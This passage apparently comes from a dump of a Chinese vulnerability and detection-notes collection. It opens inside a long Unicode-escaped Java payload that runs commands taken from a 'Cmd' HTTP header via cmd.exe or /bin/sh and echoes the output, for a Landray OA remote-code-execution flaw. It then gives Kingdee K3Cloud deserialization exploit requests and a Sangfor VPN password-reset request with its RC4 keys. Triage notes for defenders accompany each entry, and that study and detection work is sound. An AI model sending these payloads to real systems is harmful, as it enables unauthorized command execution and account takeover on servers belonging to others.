u0073\\u0074\\u0061\\u006e\\u0063\\u0065\\u006f\\u0066\\u0020\\u0052\\u0075\\u006e\\u006e\\u0061\\u0062\\u006c\\u0065\\u0029\\u0029\\u0020\\u007b\\u0020\\u0063\\u006f\\u006e\\u0074\\u0069\\u006e\\u0075\\u0065\\u003b\\u0020\\u007d\\u0066\\u0020\\u003d\\u0020\\u006f\\u0062\\u006a\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0044\\u0065\\u0063\\u006c\\u0061\\u0072\\u0065\\u0064\\u0046\\u0069\\u0065\\u006c\\u0064\\u0028\\u0022\\u0074\\u0068\\u0069\\u0073\\u0024\\u0030\\u0022\\u0029\\u003b\\u0066\\u002e\\u0073\\u0065\\u0074\\u0041\\u0063\\u0063\\u0065\\u0073\\u0073\\u0069\\u0062\\u006c\\u0065\\u0028\\u0074\\u0072\\u0075\\u0065\\u0029\\u003b\\u006f\\u0062\\u006a\\u0020\\u003d\\u0020\\u0066\\u002e\\u0067\\u0065\\u0074\\u0028\\u006f\\u0062\\u006a\\u0029\\u003b\\u0074\\u0072\\u0079\\u0020\\u007b\\u0020\\u0066\\u0020\\u003d\\u0020\\u006f\\u0062\\u006a\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0044\\u0065\\u0063\\u006c\\u0061\\u0072\\u0065\\u0064\\u0046\\u0069\\u0065\\u006c\\u0064\\u0028\\u0022\\u0068\\u0061\\u006e\\u0064\\u006c\\u0065\\u0072\\u0022\\u0029\\u003b\\u0020\\u007d\\u0020\\u0063\\u0061\\u0074\\u0063\\u0068\\u0020\\u0028\\u004e\\u006f\\u0053\\u0075\\u0063\\u0068\\u0046\\u0069\\u0065\\u006c\\u0064\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0020\\u0065\\u0029\\u0020\\u007b\\u0020\\u0066\\u0020\\u003d\\u0020\\u006f\\u0062\\u006a\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0053\\u0075\\u0070\\u0065\\u0072\\u0063\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0053\\u0075\\u0070\\u0065\\u0072\\u0063\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0044\\u0065\\u0063\\u006c\\u0061\\u0072\\u0065\\u0064\\u0046\\u0069\\u0065\\u006c\\u0064\\u0028\\u0022\\u0068\\u0061\\u006e\\u0064\\u006c\\u0065\\u0072\\u0022\\u0029\\u003b\\u0020\\u007d\\u0066\\u002e\\u0073\\u0065\\u0074\\u0041\\u0063\\u0063\\u0065\\u0073\\u0073\\u0069\\u0062\\u006c\\u0065\\u0028\\u0074\\u0072\\u0075\\u0065\\u0029\\u003b\\u006f\\u0062\\u006a\\u0020\\u003d\\u0020\\u0066\\u002e\\u0067\\u0065\\u0074\\u0028\\u006f\\u0062\\u006a\\u0029\\u003b\\u0074\\u0072\\u0079\\u0020\\u007b\\u0020\\u0066\\u0020\\u003d\\u0020\\u006f\\u0062\\u006a\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0053\\u0075\\u0070\\u0065\\u0072\\u0063\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0044\\u0065\\u0063\\u006c\\u0061\\u0072\\u0065\\u0064\\u0046\\u0069\\u0065\\u006c\\u0064\\u0028\\u0022\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0022\\u0029\\u003b\\u0020\\u007d\\u0020\\u0063\\u0061\\u0074\\u0063\\u0068\\u0020\\u0028\\u004e\\u006f\\u0053\\u0075\\u0063\\u0068\\u0046\\u0069\\u0065\\u006c\\u0064\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0020\\u0065\\u0029\\u0020\\u007b\\u0020\\u0066\\u0020\\u003d\\u0020\\u006f\\u0062\\u006a\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0044\\u0065\\u0063\\u006c\\u0061\\u0072\\u0065\\u0064\\u0046\\u0069\\u0065\\u006c\\u0064\\u0028\\u0022\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0022\\u0029\\u003b\\u0020\\u007d\\u0066\\u002e\\u0073\\u0065\\u0074\\u0041\\u0063\\u0063\\u0065\\u0073\\u0073\\u0069\\u0062\\u006c\\u0065\\u0028\\u0074\\u0072\\u0075\\u0065\\u0029\\u003b\\u006f\\u0062\\u006a\\u0020\\u003d\\u0020\\u0066\\u002e\\u0067\\u0065\\u0074\\u0028\\u006f\\u0062\\u006a\\u0029\\u003b\\u0066\\u0020\\u003d\\u0020\\u006f\\u0062\\u006a\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0044\\u0065\\u0063\\u006c\\u0061\\u0072\\u0065\\u0064\\u0046\\u0069\\u0065\\u006c\\u0064\\u0028\\u0022\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\\u006f\\u0072\\u0073\\u0022\\u0029\\u003b\\u0066\\u002e\\u0073\\u0065\\u0074\\u0041\\u0063\\u0063\\u0065\\u0073\\u0073\\u0069\\u0062\\u006c\\u0065\\u0028\\u0074\\u0072\\u0075\\u0065\\u0029\\u003b\\u006a\\u0061\\u0076\\u0061\\u002e\\u0075\\u0074\\u0069\\u006c\\u002e\\u004c\\u0069\\u0073\\u0074\\u0020\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\\u006f\\u0072\\u0073\\u0020\\u003d\\u0020\\u0028\\u006a\\u0061\\u0076\\u0061\\u002e\\u0075\\u0074\\u0069\\u006c\\u002e\\u004c\\u0069\\u0073\\u0074\\u0029\\u0020\\u0028\\u0066\\u002e\\u0067\\u0065\\u0074\\u0028\\u006f\\u0062\\u006a\\u0029\\u0029\\u003b\\u0066\\u006f\\u0072\\u0020\\u0028\\u0069\\u006e\\u0074\\u0020\\u006a\\u0020\\u003d\\u0020\\u0030\\u003b\\u0020\\u006a\\u0020\\u003c\\u0020\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\\u006f\\u0072\\u0073\\u002e\\u0073\\u0069\\u007a\\u0065\\u0028\\u0029\\u003b\\u0020\\u002b\\u002b\\u006a\\u0029\\u0020\\u007b\\u0020\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u0020\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\\u006f\\u0072\\u0020\\u003d\\u0020\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\\u006f\\u0072\\u0073\\u002e\\u0067\\u0065\\u0074\\u0028\\u006a\\u0029\\u003b\\u0066\\u0020\\u003d\\u0020\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\\u006f\\u0072\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0044\\u0065\\u0063\\u006c\\u0061\\u0072\\u0065\\u0064\\u0046\\u0069\\u0065\\u006c\\u0064\\u0028\\u0022\\u0072\\u0065\\u0071\\u0022\\u0029\\u003b\\u0066\\u002e\\u0073\\u0065\\u0074\\u0041\\u0063\\u0063\\u0065\\u0073\\u0073\\u0069\\u0062\\u006c\\u0065\\u0028\\u0074\\u0072\\u0075\\u0065\\u0029\\u003b\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u0020\\u0072\\u0065\\u0071\\u0020\\u003d\\u0020\\u0066\\u002e\\u0067\\u0065\\u0074\\u0028\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\\u006f\\u0072\\u0029\\u003b\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u0020\\u0072\\u0065\\u0073\\u0070\\u0020\\u003d\\u0020\\u0072\\u0065\\u0071\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u004d\\u0065\\u0074\\u0068\\u006f\\u0064\\u0028\\u0022\\u0067\\u0065\\u0074\\u0052\\u0065\\u0073\\u0070\\u006f\\u006e\\u0073\\u0065\\u0022\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u005b\\u0030\\u005d\\u0029\\u002e\\u0069\\u006e\\u0076\\u006f\\u006b\\u0065\\u0028\\u0072\\u0065\\u0071\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u005b\\u0030\\u005d\\u0029\\u003b\\u0073\\u0074\\u0072\\u0020\\u003d\\u0020\\u0028\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u0029\\u0020\\u0072\\u0065\\u0071\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u004d\\u0065\\u0074\\u0068\\u006f\\u0064\\u0028\\u0022\\u0067\\u0065\\u0074\\u0048\\u0065\\u0061\\u0064\\u0065\\u0072\\u0022\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u005b\\u005d\\u007b\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u002e\\u0063\\u006c\\u0061\\u0073\\u0073\\u007d\\u0029\\u002e\\u0069\\u006e\\u0076\\u006f\\u006b\\u0065\\u0028\\u0072\\u0065\\u0071\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u005b\\u005d\\u007b\\u0022\\u0043\\u006d\\u0064\\u0022\\u007d\\u0029\\u003b\\u0069\\u0066\\u0020\\u0028\\u0073\\u0074\\u0072\\u0020\\u0021\\u003d\\u0020\\u006e\\u0075\\u006c\\u006c\\u0020\\u0026\\u0026\\u0020\\u0021\\u0073\\u0074\\u0072\\u002e\\u0069\\u0073\\u0045\\u006d\\u0070\\u0074\\u0079\\u0028\\u0029\\u0029\\u0020\\u007b\\u0020\\u0072\\u0065\\u0073\\u0070\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u004d\\u0065\\u0074\\u0068\\u006f\\u0064\\u0028\\u0022\\u0073\\u0065\\u0074\\u0053\\u0074\\u0061\\u0074\\u0075\\u0073\\u0022\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u005b\\u005d\\u007b\\u0069\\u006e\\u0074\\u002e\\u0063\\u006c\\u0061\\u0073\\u0073\\u007d\\u0029\\u002e\\u0069\\u006e\\u0076\\u006f\\u006b\\u0065\\u0028\\u0072\\u0065\\u0073\\u0070\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u005b\\u005d\\u007b\\u006e\\u0065\\u0077\\u0020\\u0049\\u006e\\u0074\\u0065\\u0067\\u0065\\u0072\\u0028\\u0032\\u0030\\u0030\\u0029\\u007d\\u0029\\u003b\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u005b\\u005d\\u0020\\u0063\\u006d\\u0064\\u0073\\u0020\\u003d\\u0020\\u0053\\u0079\\u0073\\u0074\\u0065\\u006d\\u002e\\u0067\\u0065\\u0074\\u0050\\u0072\\u006f\\u0070\\u0065\\u0072\\u0074\\u0079\\u0028\\u0022\\u006f\\u0073\\u002e\\u006e\\u0061\\u006d\\u0065\\u0022\\u0029\\u002e\\u0074\\u006f\\u004c\\u006f\\u0077\\u0065\\u0072\\u0043\\u0061\\u0073\\u0065\\u0028\\u0029\\u002e\\u0063\\u006f\\u006e\\u0074\\u0061\\u0069\\u006e\\u0073\\u0028\\u0022\\u0077\\u0069\\u006e\\u0064\\u006f\\u0077\\u0022\\u0029\\u0020\\u003f\\u0020\\u006e\\u0065\\u0077\\u0020\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u005b\\u005d\\u007b\\u0022\\u0063\\u006d\\u0064\\u002e\\u0065\\u0078\\u0065\\u0022\\u002c\\u0020\\u0022\\u002f\\u0063\\u0022\\u002c\\u0020\\u0073\\u0074\\u0072\\u007d\\u0020\\u003a\\u0020\\u006e\\u0065\\u0077\\u0020\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u005b\\u005d\\u007b\\u0022\\u002f\\u0062\\u0069\\u006e\\u002f\\u0073\\u0068\\u0022\\u002c\\u0020\\u0022\\u002d\\u0063\\u0022\\u002c\\u0020\\u0073\\u0074\\u0072\\u007d\\u003b\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u0020\\u0063\\u0068\\u0061\\u0072\\u0073\\u0065\\u0074\\u004e\\u0061\\u006d\\u0065\\u0020\\u003d\\u0020\\u0053\\u0079\\u0073\\u0074\\u0065\\u006d\\u002e\\u0067\\u0065\\u0074\\u0050\\u0072\\u006f\\u0070\\u0065\\u0072\\u0074\\u0079\\u0028\\u0022\\u006f\\u0073\\u002e\\u006e\\u0061\\u006d\\u0065\\u0022\\u0029\\u002e\\u0074\\u006f\\u004c\\u006f\\u0077\\u0065\\u0072\\u0043\\u0061\\u0073\\u0065\\u0028\\u0029\\u002e\\u0063\\u006f\\u006e\\u0074\\u0061\\u0069\\u006e\\u0073\\u0028\\u0022\\u0077\\u0069\\u006e\\u0064\\u006f\\u0077\\u0022\\u0029\\u0020\\u003f\\u0020\\u0022\\u0047\\u0042\\u004b\\u0022\\u003a\\u0022\\u0055\\u0054\\u0046\\u002d\\u0038\\u0022\\u003b\\u0062\\u0079\\u0074\\u0065\\u005b\\u005d\\u0020\\u0074\\u0065\\u0078\\u0074\\u0032\\u0020\\u003d\\u0028\\u006e\\u0065\\u0077\\u0020\\u006a\\u0061\\u0076\\u0061\\u002e\\u0075\\u0074\\u0069\\u006c\\u002e\\u0053\\u0063\\u0061\\u006e\\u006e\\u0065\\u0072\\u0028\\u0028\\u006e\\u0065\\u0077\\u0020\\u0050\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\\u0042\\u0075\\u0069\\u006c\\u0064\\u0065\\u0072\\u0028\\u0063\\u006d\\u0064\\u0073\\u0029\\u0029\\u002e\\u0073\\u0074\\u0061\\u0072\\u0074\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0049\\u006e\\u0070\\u0075\\u0074\\u0053\\u0074\\u0072\\u0065\\u0061\\u006d\\u0028\\u0029\\u002c\\u0063\\u0068\\u0061\\u0072\\u0073\\u0065\\u0074\\u004e\\u0061\\u006d\\u0065\\u0029\\u0029\\u002e\\u0075\\u0073\\u0065\\u0044\\u0065\\u006c\\u0069\\u006d\\u0069\\u0074\\u0065\\u0072\\u0028\\u0022\\u005c\\u005c\\u0041\\u0022\\u0029\\u002e\\u006e\\u0065\\u0078\\u0074\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0042\\u0079\\u0074\\u0065\\u0073\\u0028\\u0063\\u0068\\u0061\\u0072\\u0073\\u0065\\u0074\\u004e\\u0061\\u006d\\u0065\\u0029\\u003b\\u0062\\u0079\\u0074\\u0065\\u005b\\u005d\\u0020\\u0072\\u0065\\u0073\\u0075\\u006c\\u0074\\u003d\\u0028\\u0022\\u0045\\u0078\\u0065\\u0063\\u0075\\u0074\\u0065\\u003a\\u0020\\u0020\\u0020\\u0020\\u0022\\u002b\\u006e\\u0065\\u0077\\u0020\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u0028\\u0074\\u0065\\u0078\\u0074\\u0032\\u002c\\u0022\\u0075\\u0074\\u0066\\u002d\\u0038\\u0022\\u0029\\u0029\\u002e\\u0067\\u0065\\u0074\\u0042\\u0079\\u0074\\u0065\\u0073\\u0028\\u0063\\u0068\\u0061\\u0072\\u0073\\u0065\\u0074\\u004e\\u0061\\u006d\\u0065\\u0029\\u003b\\u0074\\u0072\\u0079\\u0020\\u007b\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u0020\\u0063\\u006c\\u0073\\u0020\\u003d\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u002e\\u0066\\u006f\\u0072\\u004e\\u0061\\u006d\\u0065\\u0028\\u0022\\u006f\\u0072\\u0067\\u002e\\u0061\\u0070\\u0061\\u0063\\u0068\\u0065\\u002e\\u0074\\u006f\\u006d\\u0063\\u0061\\u0074\\u002e\\u0075\\u0074\\u0069\\u006c\\u002e\\u0062\\u0075\\u0066\\u002e\\u0042\\u0079\\u0074\\u0065\\u0043\\u0068\\u0075\\u006e\\u006b\\u0022\\u0029\\u003b\\u006f\\u0062\\u006a\\u0020\\u003d\\u0020\\u0063\\u006c\\u0073\\u002e\\u006e\\u0065\\u0077\\u0049\\u006e\\u0073\\u0074\\u0061\\u006e\\u0063\\u0065\\u0028\\u0029\\u003b\\u0063\\u006c\\u0073\\u002e\\u0067\\u0065\\u0074\\u0044\\u0065\\u0063\\u006c\\u0061\\u0072\\u0065\\u0064\\u004d\\u0065\\u0074\\u0068\\u006f\\u0064\\u0028\\u0022\\u0073\\u0065\\u0074\\u0042\\u0079\\u0074\\u0065\\u0073\\u0022\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u005b\\u005d\\u007b\\u0062\\u0079\\u0074\\u0065\\u005b\\u005d\\u002e\\u0063\\u006c\\u0061\\u0073\\u0073\\u002c\\u0020\\u0069\\u006e\\u0074\\u002e\\u0063\\u006c\\u0061\\u0073\\u0073\\u002c\\u0020\\u0069\\u006e\\u0074\\u002e\\u0063\\u006c\\u0061\\u0073\\u0073\\u007d\\u0029\\u002e\\u0069\\u006e\\u0076\\u006f\\u006b\\u0065\\u0028\\u006f\\u0062\\u006a\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u005b\\u005d\\u007b\\u0072\\u0065\\u0073\\u0075\\u006c\\u0074\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u0049\\u006e\\u0074\\u0065\\u0067\\u0065\\u0072\\u0028\\u0030\\u0029\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u0049\\u006e\\u0074\\u0065\\u0067\\u0065\\u0072\\u0028\\u0072\\u0065\\u0073\\u0075\\u006c\\u0074\\u002e\\u006c\\u0065\\u006e\\u0067\\u0074\\u0068\\u0029\\u007d\\u0029\\u003b\\u0072\\u0065\\u0073\\u0070\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u004d\\u0065\\u0074\\u0068\\u006f\\u0064\\u0028\\u0022\\u0064\\u006f\\u0057\\u0072\\u0069\\u0074\\u0065\\u0022\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u005b\\u005d\\u007b\\u0063\\u006c\\u0073\\u007d\\u0029\\u002e\\u0069\\u006e\\u0076\\u006f\\u006b\\u0065\\u0028\\u0072\\u0065\\u0073\\u0070\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u005b\\u005d\\u007b\\u006f\\u0062\\u006a\\u007d\\u0029\\u003b\\u0020\\u007d\\u0020\\u0063\\u0061\\u0074\\u0063\\u0068\\u0020\\u0028\\u004e\\u006f\\u0053\\u0075\\u0063\\u0068\\u004d\\u0065\\u0074\\u0068\\u006f\\u0064\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0020\\u0076\\u0061\\u0072\\u0035\\u0029\\u0020\\u007b\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u0020\\u0063\\u006c\\u0073\\u0020\\u003d\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u002e\\u0066\\u006f\\u0072\\u004e\\u0061\\u006d\\u0065\\u0028\\u0022\\u006a\\u0061\\u0076\\u0061\\u002e\\u006e\\u0069\\u006f\\u002e\\u0042\\u0079\\u0074\\u0065\\u0042\\u0075\\u0066\\u0066\\u0065\\u0072\\u0022\\u0029\\u003b\\u006f\\u0062\\u006a\\u0020\\u003d\\u0020\\u0063\\u006c\\u0073\\u002e\\u0067\\u0065\\u0074\\u0044\\u0065\\u0063\\u006c\\u0061\\u0072\\u0065\\u0064\\u004d\\u0065\\u0074\\u0068\\u006f\\u0064\\u0028\\u0022\\u0077\\u0072\\u0061\\u0070\\u0022\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u005b\\u005d\\u007b\\u0062\\u0079\\u0074\\u0065\\u005b\\u005d\\u002e\\u0063\\u006c\\u0061\\u0073\\u0073\\u007d\\u0029\\u002e\\u0069\\u006e\\u0076\\u006f\\u006b\\u0065\\u0028\\u0063\\u006c\\u0073\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u005b\\u005d\\u007b\\u0072\\u0065\\u0073\\u0075\\u006c\\u0074\\u007d\\u0029\\u003b\\u0072\\u0065\\u0073\\u0070\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u004d\\u0065\\u0074\\u0068\\u006f\\u0064\\u0028\\u0022\\u0064\\u006f\\u0057\\u0072\\u0069\\u0074\\u0065\\u0022\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u005b\\u005d\\u007b\\u0063\\u006c\\u0073\\u007d\\u0029\\u002e\\u0069\\u006e\\u0076\\u006f\\u006b\\u0065\\u0028\\u0072\\u0065\\u0073\\u0070\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u005b\\u005d\\u007b\\u006f\\u0062\\u006a\\u007d\\u0029\\u003b\\u0020\\u007d\\u0066\\u006c\\u0061\\u0067\\u0020\\u003d\\u0020\\u0074\\u0072\\u0075\\u0065\\u003b\\u0020\\u007d\\u0069\\u0066\\u0020\\u0028\\u0066\\u006c\\u0061\\u0067\\u0029\\u0020\\u007b\\u0020\\u0062\\u0072\\u0065\\u0061\\u006b\\u003b\\u0020\\u007d\\u0020\\u007d\\u0069\\u0066\\u0020\\u0028\\u0066\\u006c\\u0061\\u0067\\u0029\\u0020\\u007b\\u0020\\u0062\\u0072\\u0065\\u0061\\u006b\\u003b\\u0020\\u007d\\u0020\\u007d\\u0020\\u0063\\u0061\\u0074\\u0063\\u0068\\u0020\\u0028\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0020\\u0065\\u0029\\u0020\\u007b\\u0020\\u0063\\u006f\\u006e\\u0074\\u0069\\u006e\\u0075\\u0065\\u003b\\u0020\\u007d\\u0020\\u007d\n</string></void></void></java>\n```\n![sysSearchMain.do远程命令执行漏洞](https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/images/202205201424940.png?raw=true)\n## 研判分析\n结合请求方法POST，请求路径/sys/ui/extend/varkind/custom.jsp，及请求内容body中的命令参数进行分析，响应状态码200，响应内容和请求内容结合分析。\n## 参考链接\nAwesome-POC\n<https://github.com/Threekiii/Awesome-POC/tree/master>\n蓝凌(Landray)OA漏洞常见RCE\n<https://blog.csdn.net/qq_53385700/article/details/128650811>\n"
  },
  {
    "path": "Web/2023/other/金蝶K3Cloud反序列化.md",
    "content": "# 金蝶 K3Cloud 反序列化漏洞-------------\n## 漏洞描述-------------\n由于金蝶云星空能够使用format参数指定数据格式为二进制，攻击者可以 通过发送由BinaryFormatter恶意序列化后的数据让服务端进行危险的BinaryFormatter反序列化操作。反序列化过程中没有对数据进行签名或校验，导致攻击者可以在未授权状态下进行服务器远程代码执行。-------------\n## 影响范围-------------\n- 金蝶云星空<6.2.1012.4\n- 7.0.352.16<金蝶云星空<7.7.0.202111\n- 8.0.0.202205<金蝶云星空<8.1.0.20221110-------------\n## 漏洞复现-------------\n漏洞原理：由于金蝶云星空管理中心在处理序列化数据时，未对数据进行签名或校验，攻击手可以写入包含恶意代码的序列化数据，系统在进行反序列化时造成远程命令执行，该“管理中心“是提供给管理员使用的管理端，默认开放于8000端口。-------------\n漏洞利用POC：-------------\n```\nPOST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessO\nbjectData.common.kdsvc HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: firefox\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i\nmage/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=\n0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nsec-ch-ua-platform: \"Windows\"\nsec-ch-ua: \"Google Chrome\";v=\"111\", \"Chromium\";v=\"111\", \"Not=A?Brand\";v=\"2\n4\"\nsec-ch-ua-mobile: ?0\nContent-Type: text/json\nContent-Length: 5725-------------\nap0=paylod&format=3-------------\n```\n- ------------\npaylod需要进⾏⼀次url编码。-------------\n漏洞利用POC2绕过：-------------\n```\nPOST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessO\nbjectData.common.kdsvc HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (Windows NT 11.0; WOW64; x64) AppleWebKit/537.36 (\nKHTML, like Gecko) Chrome/111.0.5520.225 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i\nmage/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=\n0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nsec-ch-ua-platform: \"Windows\"\nsec-ch-ua: \"Google Chrome\";v=\"111\", \"Chromium\";v=\"111\", \"Not=A?Brand\";v=\"2\n4\"\nsec-ch-ua-mobile: ?0\nContent-Type: text/json\nContent-Length: 2416-------------\n{\n \"ap0\":\n\"<KingdeeXMLPack z:Id=\\\"1\\\" z:Type=\\\"Kingdee.BOS.ServiceFacade.KingdeeXMLP\nack\\\" z:Assembly=\\\"Kingdee.BOS.ServiceFacade.Common, Version=1.0.0.0, Cult\nure=neutral, PublicKeyToken=null\\\" xmlns=\\\"http://schemas.datacontract.or\ng/2004/07/Kingdee.BOS.ServiceFacade\\\" xmlns:i=\\\"http://www.w3.org/2001/XML\nSchema-instance\\\" xmlns:z=\\\"http://schemas.microsoft.com/2003/10/Serializa\ntion/\\\"><_x003C_Data_x003E_k__BackingField z:Id=\\\"2\\\">{BinaryPaylad}</_x00\n3C_Data_x003E_k__BackingField></KingdeeXMLPack>\",\n \"format\": \"4\"\n}-------------\n```\n- ------------\n*其中ap0中替换为ysoserial.exe中生成的内容，通常情况下为200响应。*-------------\n## 研判分析-------------\n- 请求方法POST\n- 请求路径：/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc\n- 请求内容ap0中的内容\n- 响应状态码200及内容-------------\n## 参考链接-------------\n⾦蝶K3Cloud反序列化分析及利⽤-------------\n<https://www.websecuritys.cn/index.php/archives/667/>-------------\n金蝶云星空 反序列化远程代码执行漏洞 附检测POC-------------\n<https://cn-sec.com/archives/1815530.html>-------------\n金蝶云星空反序列化远程代码执行漏洞复现-------------\n<https://www.gksec.com/K3cloud_rce.html>\n"
  },
  {
    "path": "Web/long time/T1133-001-深信服VPN任意密码重置.md",
    "content": "# T1133-001-深信服VPN任意密码重置\n## 来自ATT&CK的描述\n攻击者可能会利用面向外部的VPN服务来实现最初访问或网络内持久化。VPN服务使用户可以从外部位置连接到内部企业网络资源。\n通常需要有效帐户才能使用该服务，这可以通过凭据篡改或在攻陷企业网络之后从用户那里获取凭据来获得。（引自：Volexity Virtual Private Keylogging） 在攻击者的操作过程中，对远程服务的访问可用作冗余或持久访问机制。\n## 测试案例\n已知影响范围M7.6.6R1、M7.6.1\n## 检测日志\nHTTP\n## 测试复现\nM7.6.6R1 key 为20181118\nM7.6.1 key 为 20100720\n<https://xxx/por/changepwd.csp>\n## 测试留痕\n```\nyml\nPOST /por/changepwd.csp HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nDNT: 1\nX-Forwarded-For: 8.8.8.8\nConnection: keep-alive\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 53\nsessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN\n```\n## 